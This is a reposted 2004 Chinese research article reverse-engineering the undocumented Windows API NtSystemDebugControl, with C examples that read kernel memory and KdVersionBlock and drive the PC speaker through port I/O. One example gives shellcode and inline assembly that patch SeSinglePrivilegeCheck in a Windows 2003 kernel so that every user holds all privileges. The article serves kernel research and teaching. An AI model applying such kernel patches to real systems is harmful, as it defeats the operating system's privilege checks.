|
|
(转载)对Native API NtSystemDebugControl的分析 |
|
|
作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站 |
对Native API NtSystemDebugControl的分析转自:http://www.xfocus.net 创建时间:2004-08-05 文章属性:原创 文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)
对Native API NtSystemDebugControl的分析
作 者:于旸 邮 件:tombkeeper[0x40]nsfocus[0x2e]com tombkeeper[0x40]xfocus[0x2e]org 完成于:2004.08.04 关键字:NtSystemDebugControl、ZwSystemDebugControl、读写内核空间、读写MSR、 读写物理内存、读写IO端口、读写总线数据、KdVersionBlock
在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统 中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底 有多强大。
NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不 同系统上的调用号分别为:
Windows NT 0xba Windows 2000 0xde Windows XP 0xff Windows 2003 0x108
这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相 关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包 含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4 ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。 好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参 考资源[2]的两个链接中得到它。
这就是ntexapi.h中的定义:
typedef enum _SYSDBG_COMMAND { SysDbgQueryTraceInformation = 1, //KdGetTraceInformation() SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint() SysDbgSetSpecialCall = 3, //KdSetSpecialCall() SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls() SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls() SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现 } SYSDBG_COMMAND, *PSYSDBG_COMMAND;
NTSYSAPI NTSTATUS NTAPI NtSystemDebugControl ( IN SYSDBG_COMMAND Command, IN PVOID InputBuffer, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT PULONG ReturnLength );
从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不 同的第一形参可调用五个内核函数,实现相关功能。
NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的, 《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文 不再赘述。
从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极 大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一 形参可接受 20个不同的功能调用,在Windows 2003上则有28个。
关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到 的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这 个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普 通用户根本执行不了,也就谈不上权限提升。
下面的enum是我逆向工程的结果,绝大部分经过测试:
typedef enum _SYSDBG_COMMAND { //以下5个在Windows NT各个版本上都有 SysDbgGetTraceInformation = 1, SysDbgSetInternalBreakpoint = 2, SysDbgSetSpecialCall = 3, SysDbgClearSpecialCalls = 4, SysDbgQuerySpecialCalls = 5,
// 以下是NT 5.1 新增的 SysDbgDbgBreakPointWithStatus = 6,
//获取KdVersionBlock SysDbgSysGetVersion = 7,
//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间 //但是不能从用户空间拷贝到内核空间 SysDbgCopyMemoryChunks_0 = 8, //SysDbgReadVirtualMemory = 8,
//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间 //但是不能从内核空间拷贝到用户空间 SysDbgCopyMemoryChunks_1 = 9, //SysDbgWriteVirtualMemory = 9,
//从物理地址拷贝到用户空间,不能写到内核空间 SysDbgCopyMemoryChunks_2 = 10, //SysDbgReadVirtualMemory = 10,
//从用户空间拷贝到物理地址,不能读取内核空间 SysDbgCopyMemoryChunks_3 = 11, //SysDbgWriteVirtualMemory = 11,
//读写处理器相关控制块 SysDbgSysReadControlSpace = 12, SysDbgSysWriteControlSpace = 13,
//读写端口 SysDbgSysReadIoSpace = 14, SysDbgSysWriteIoSpace = 15,
//分别调用RDMSR@4和_WRMSR@12 SysDbgSysReadMsr = 16, SysDbgSysWriteMsr = 17,
//读写总线数据 SysDbgSysReadBusData = 18, SysDbgSysWriteBusData = 19,
SysDbgSysCheckLowMemory = 20,
// 以下是NT 5.2 新增的
//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0 SysDbgEnableDebugger = 21, SysDbgDisableDebugger = 22, //获取和设置一些调试相关的变量 SysDbgGetAutoEnableOnEvent = 23, SysDbgSetAutoEnableOnEvent = 24, SysDbgGetPitchDebugger = 25, SysDbgSetDbgPrintBufferSize = 26, SysDbgGetIgnoreUmExceptions = 27, SysDbgSetIgnoreUmExceptions = 28 } SYSDBG_COMMAND, *PSYSDBG_COMMAND;
从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写 内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在 Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一 些相关变量等。
显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴 着桂冠,重新回到了奥林匹斯山之巅。
下面举几个具体应用的例子。
例子1: 下面代码演示读取KdVersionBlock:
//------------------------------------------------------------------------ typedef struct _DBGKD_GET_VERSION64 { USHORT MajorVersion; USHORT MinorVersion; USHORT ProtocolVersion; USHORT Flags; USHORT MachineType; UCHAR MaxPacketType; UCHAR MaxStateChange; UCHAR MaxManipulate; UCHAR Simulation; USHORT Unused[1]; ULONG64 KernBase; ULONG64 PsLoadedModuleList; ULONG64 DebuggerDataList; } DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;
DBGKD_GET_VERSION64 KdVersionBlock;
EnablePrivilege(SE_DEBUG_NAME);
ZwSystemDebugControl ( SysDbgSysGetVersion, NULL, 0, &KdVersionBlock, sizeof(KdVersionBlock), //必须是0x28 NULL );
printf ("KernBase: 0x%.8x\n",KdVersionBlock.KernBase); printf ("PsLoadedModuleList: 0x%.8x\n",KdVersionBlock.PsLoadedModuleList); printf ("DebuggerDataList: 0x%.8x\n",KdVersionBlock.DebuggerDataList); //------------------------------------------------------------------------
例子2:
下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的 头两个字节,也就是“MZ”。
//------------------------------------------------------------------------ typedef struct _MEMORY_CHUNKS { ULONG Address; PVOID Data; ULONG Length; }MEMORY_CHUNKS, *PMEMORY_CHUNKS;
MEMORY_CHUNKS QueryBuff; ULONG ReturnLength; char Buff[0x2] = {0};
QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase QueryBuff.Data = Buff; //在此是读出缓冲 QueryBuff.Length = sizeof(Buff);
EnablePrivilege(SE_DEBUG_NAME);
ZwSystemDebugControl ( SysDbgCopyMemoryChunks_0, &QueryBuff, sizeof(MEMORY_CHUNKS), //必须是0x0C NULL, 0, &ReturnLength );
printf ("\"MZ\": %s\n",Buff); //------------------------------------------------------------------------
例子3:
下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的 Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:
修改前:
nt!SeSinglePrivilegeCheck+0x5c: 80580e66 8a450c mov al,[ebp+0xc] 80580e69 c9 leave 80580e6a c20c00 ret 0xc
修改后: nt!SeSinglePrivilegeCheck+0x5c: 80580e66 90 nop 80580e67 b001 mov al,0x1 80580e69 c9 leave 80580e6a c20c00 ret 0xc
这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是 拥有全部系统特权。
\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9 \x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54 \x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83
//------------------------------------------------------------------------ #pragma comment(linker, "/entry:main /ALIGN:4096" ) #pragma comment(lib, "kernel32.lib")
#define sysenter __asm __emit 0x0f __asm __emit 0x34
void main(void) { __asm { int 3 //debug jmp patch
SystemDebugControl:
mov ax,0x108 mov edx,esp sysenter ret
patch:
push 0xc901b090 mov eax,esp push 0x04 push eax push 0x80580e66 push esp pop ebx xor eax,eax push eax push esp //ReturnLength push eax //OutputBufferLength push eax //OutputBuffer push 0x0c //InputBufferLength push ebx //InputBuffer push 0x09 //ControlCode push eax //for sysenter ret call SystemDebugControl add esp,0x30 //只是为了修正堆栈 } } //------------------------------------------------------------------------
上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核 有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需 要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单 的办法就是在WinDBG中执行。
例子4:
下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵 PC Speaker发声:
//------------------------------------------------------------------------ //演示用ZwSystemDebugControl读写端口使PC Speaker发声 //tombkeeper 2004.08.03
#include <windows.h> #include <stdio.h>
#pragma comment(lib, "advapi32")
#define NTAPI __stdcall #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
typedef int NTSTATUS;
typedef enum _SYSDBG_COMMAND { SysDbgSysReadIoSpace = 14, SysDbgSysWriteIoSpace = 15 }SYSDBG_COMMAND, *PSYSDBG_COMMAND;
typedef NTSTATUS (NTAPI * PZwSystemDebugControl) ( SYSDBG_COMMAND ControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnLength );
PZwSystemDebugControl ZwSystemDebugControl = NULL;
typedef struct _IO_STRUCT { DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address DWORD Reserved1; // Never accessed by the kernel PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4. DWORD Reserved4; // Must be 1 DWORD Reserved5; // Must be 0 DWORD Reserved6; // Must be 1 DWORD Reserved7; // Never accessed by the kernel } IO_STRUCT, *PIO_STRUCT;
BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid ); OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken ); AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv; }
BYTE InPortB (int Port) { BYTE Value; IO_STRUCT io; io.IoAddr = Port; io.Reserved1 = 0; io.pBuffer = (PVOID) (PULONG) & Value; io.NumBYTEs = sizeof (BYTE); io.Reserved4 = 1; io.Reserved5 = 0; io.Reserved6 = 1; io.Reserved7 = 0; ZwSystemDebugControl ( SysDbgSysReadIoSpace, &io, sizeof (io), NULL, 0, NULL ); return Value; }
void OutPortB (int Port, BYTE Value) { IO_STRUCT io; io.IoAddr = Port; io.Reserved1 = 0; io.pBuffer = (PVOID) (PULONG) & Value; io.NumBYTEs = sizeof (BYTE); io.Reserved4 = 1; io.Reserved5 = 0; io.Reserved6 = 1; io.Reserved7 = 0; ZwSystemDebugControl ( SysDbgSysWriteIoSpace, &io, sizeof (io), NULL, 0, NULL ); };
void BeepOn (int Freq) { BYTE b;
if ((Freq >= 20) && (Freq <= 20000)) { Freq = 1193181 / Freq; b = InPortB (0x61); if ((b & 3) == 0) { OutPortB (0x61, (BYTE) (b | 3)); OutPortB (0x43, 0xb6); } OutPortB (0x42, (BYTE) Freq); OutPortB (0x42, (BYTE) (Freq >> 8)); } }
void BeepOff (void) { BYTE b;
b = (InPortB (0x61) & 0xfc); OutPortB (0x61, b); }
int main (void) { HMODULE hNtdll; ULONG ReturnLength; OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
EnablePrivilege (SE_DEBUG_NAME);
FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL); FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl) GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL); FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);
if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT && OSVersionInfo.dwMajorVersion >= 5 && OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上 { BeepOn (1000); //声音频率1000Hz Sleep (1000); BeepOff (); } else { printf ("This program require Windows XP or Windows 2003.\n"); } return 0; } //------------------------------------------------------------------------
参考资源:
[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege Escalation Vulnerability http://www.securityfocus.com/bid/9694
[2]ntexapi.h http://www.codeguru.com/code/legacy/system/ntexapi.zip http://void.ru/files/Ntexapi.h 
|
|
相关文章:相关软件: |
|